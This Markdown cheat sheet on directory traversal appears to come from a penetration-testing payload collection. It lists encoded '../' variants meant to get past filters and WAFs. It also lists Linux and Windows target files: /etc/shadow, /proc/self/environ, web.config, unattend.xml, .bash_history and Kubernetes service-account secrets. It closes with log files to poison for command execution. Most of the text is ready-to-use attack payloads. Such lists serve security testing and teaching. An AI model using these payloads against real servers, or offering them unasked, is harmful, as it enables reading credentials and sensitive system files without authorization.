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131 lines
2.5 KiB
Markdown
131 lines
2.5 KiB
Markdown
# Directory traversal
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> A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.
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## Summary
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* [Basic exploitation](#basic-exploitation)
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* [Path Traversal](#path-traversal)
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## Basic exploitation
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We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.
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```powershell
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../
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..\
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..\/
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%2e%2e%2f
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%252e%252e%252f
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%c0%ae%c0%ae%c0%af
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%uff0e%uff0e%u2215
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%uff0e%uff0e%u2216
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```
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16 bit Unicode encoding
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```powershell
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. = %u002e
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/ = %u2215
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\ = %u2216
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```
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UTF-8 Unicode encoding
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```powershell
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. = %c0%2e, %e0%40%ae, %c0ae
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/ = %c0%af, %e0%80%af, %c0%2f
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\ = %c0%5c, %c0%80%5c
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```
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Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them.
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```powershell
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..././
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...\.\
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```
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Double URL encoding
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```powershell
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. = %252e
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/ = %252f
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\ = %255c
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```
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## Path Traversal
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Linux - Interesting files to check out :
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```powershell
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/etc/issue
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/etc/passwd
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/etc/shadow
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/etc/group
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/etc/hosts
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/etc/motd
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/etc/mysql/my.cnf
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/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
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/proc/self/environ
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/proc/version
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/proc/cmdline
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/proc/sched_debug
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/proc/mounts
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/proc/net/arp
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/proc/net/route
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/proc/net/tcp
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/proc/net/udp
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```
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Windows - Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)
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```powershell
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c:/boot.ini
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c:/inetpub/logs/logfiles
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c:/inetpub/wwwroot/global.asa
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c:/inetpub/wwwroot/index.asp
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c:/inetpub/wwwroot/web.config
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c:/sysprep.inf
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c:/sysprep.xml
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c:/sysprep/sysprep.inf
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c:/sysprep/sysprep.xml
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c:/system32/inetsrv/metabase.xml
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c:/sysprep.inf
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c:/sysprep.xml
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c:/sysprep/sysprep.inf
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c:/sysprep/sysprep.xml
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c:/system volume information/wpsettings.dat
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c:/system32/inetsrv/metabase.xml
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c:/unattend.txt
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c:/unattend.xml
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c:/unattended.txt
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c:/unattended.xml
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```
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The following log files are controllable and can be included with an evil payload to achieve a command execution
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```powershell
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/var/log/apache/access.log
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/var/log/apache/error.log
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/var/log/httpd/error_log
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/usr/local/apache/log/error_log
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/usr/local/apache2/log/error_log
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/var/log/vsftpd.log
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/var/log/sshd.log
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/var/log/mail
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```
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Other easy win files.
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```powershell
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/proc/self/cwd/index.php
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/home/$USER/.bash_history
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/var/run/secrets/kubernetes.io/serviceaccount
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```
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## References
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* [Directory traversal attack - Wikipedia](https://en.wikipedia.org/wiki/Directory_traversal_attack)
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